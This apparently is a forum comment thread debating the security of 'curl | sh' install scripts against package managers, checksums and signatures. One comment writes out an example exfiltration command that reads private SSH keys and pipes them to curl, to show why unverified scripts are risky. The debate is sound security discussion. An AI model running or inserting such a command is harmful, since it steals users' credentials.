Is all that too hard? No problem. Stand up your own repository for each distribution mechanism and instruct the user to run a bunch of random curl and key handling commands to bind their machine to this new software supply chain attack channel. At least this 'potentially malicious' code is being checksumed/gpg verified!
-- the point --
'curl | sh' is inherently no different from a trust perspective then issuing a package installation command or installing a new repository source for a package manager. Each user makes the value judgement if they trust the software or not. Your free to run the 'curl' part and inspect the script, or contribute packages to the byzantine linux/unix ecosystem if it boils your blood so hard.
Practicality is a feature sometimes.
But I'd agree that the hurdle to get your package into system repositories likely ain't with it. People are free to compile it themselves, download it manually or whatever floats their boats if they don't want to use the quick and easy install script... Which they can audit by saving it to the filesystem before executing the file.
Malicious people do malicious things? I worry that we conflate trust with validity. Some package systems do it better than others, but in principle you trust that for example, a maintainer of a package repository is not serving you bad checksums and malicious content. After all these systems get their checksums/keys on-first-use, so you still need to make the trust judgement. And they could still change the responses based on your ip, user agent, or other metadata they have access to when you interact with the system.
To boil it down to my gripe, the comments about checksums/gpg signing being the reason to never 'curl | sh' make no sense until you can clear the trust argument first, which no one does. And once you do clear the trust argument, and conclude the source is trustworthy, we can have a more technical debate on the distribution mechanism itself and what makes sense from that perspective.
edit: forgot to add, 'curl | sh' is also a trust on-first-use scenario just like with package ecosystems.
A compromise from a malicious curl|bash script is basically impossible to detect. All other avenues at least give you the potential ability to figure out how you were compromised after the fact. With curl|bash there is no trail and you can never find out which commands were actually excecuted, because it's possible to detect the |bash on the server that's providing the script.
Since we've passed the trust gate up to this point for discussion purposes, I still wonder if there is a better model for young projects. Its not just we have multiple package formats, its the per distro/version matrix that tends to bite small developers and projects on time commitment. I would like to see something better than 'curl | sh' that is practical and portable across the unix-y ecosystem. Perhaps a third-party checksum db that caches valid script hashes ala golang sumdb or similar. Seems ripe for improvement.
Sure, but what you're missing is that this argument would also strike down package managers. For example, you could similarly fingerprint the difference in behaviors for apt-get vs normal http utilities and only serve malicious packages to people grabbing via apt (likely someone trying to run the code) vs downloading in a browser or via curl/wget (most likely an auditor). This is trivial to do and of course individual packages as well as entire package delivery mechanisms have been compromised.
The value add for package systems is signatures.
Feel free to create a proof of concept if that's actually possible, then you'll be able to discuss it.
You'll likely also get incredible job offers as that would be a Goldmine for blackhats and various state actors
That would be using your tools, not kvetching online. And we can't have that.
Since the debate has such large numbers on both sides, your individual opinion on it is neither interesting nor germane.
For what it's worth, I can rattle off many more project names at random in 30s, and odds are they'll all have installation methods that aren't curl-pipe-shell, there are just so many more of them.
The argument is that it is insecure. Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..." and get your company ssh keys. There's no reason rust, brew and all the rest can't provide a Download page with a checksum. They choose not to, like this project chose not to, because it doesn't look as sexy.
It's really silly.
But really, curl | bash isn't the end of the world.
If they do it against a github url they also have the security of github behind you, because you can't differentiate on user agent there, which seems to be the commonly argued pitfall. Or other ways to detect you're not a browser, on a hosted platform you have someone else's security team behind your back.
Going even further, what is stopping a malicious attack on the package source itself--like someone gaining control of the package source and committing a malicious version (as NPM, pypi and other registries have seen)?
The point is, "use your package manager" is not any better in the grand scheme of things than blindly curling and executing a script. Neither option is perfectly secure.
It's their http server, or a machine that feeds that http server, which is a good target for a compromise. Injecting a little bit of malicious code that steals something, or installs a fileless piece of malware, would bring massive benefits to the perpetrator, even if the exploit is short-lived.
That shell script should be a zip (gzip, xz) file, with a sha256 hash of it published on a different, separately hosted resource.
Maybe we should provide an utility that just does that in one command. It could even be a shell script...
I trust Rust to not put such a thing in their binary. I do not trust an arbitrary man in the middle, and it's trivial to modify a shell script.
Without a checksum, I can't ensure the binary im piping through the shell is the binary they posted and built. Anyone can step in, modify a few lines, and get access to a large part of my system. The barrier to entry to add such capability to arbitrary binaries is outrageously high.
Not everyone uses Linux, and not every package can be audited by repo devs. It’s simply not scalable.
If you can inject that breaking TLS which secures everything on the internet, why can't you inject your own checksum on the "download page"?
> Please don't complain about tangential annoyances—things like article or website formats, name collisions, or back-button breakage. They're too common to be interesting.
> Avoid unrelated controversies, generic tangents, and internet tropes.
> Please don't post shallow dismissals, especially of other people's work.
> Please don't pick the most provocative thing in an article or post to complain about in the thread. Find something interesting to respond to instead.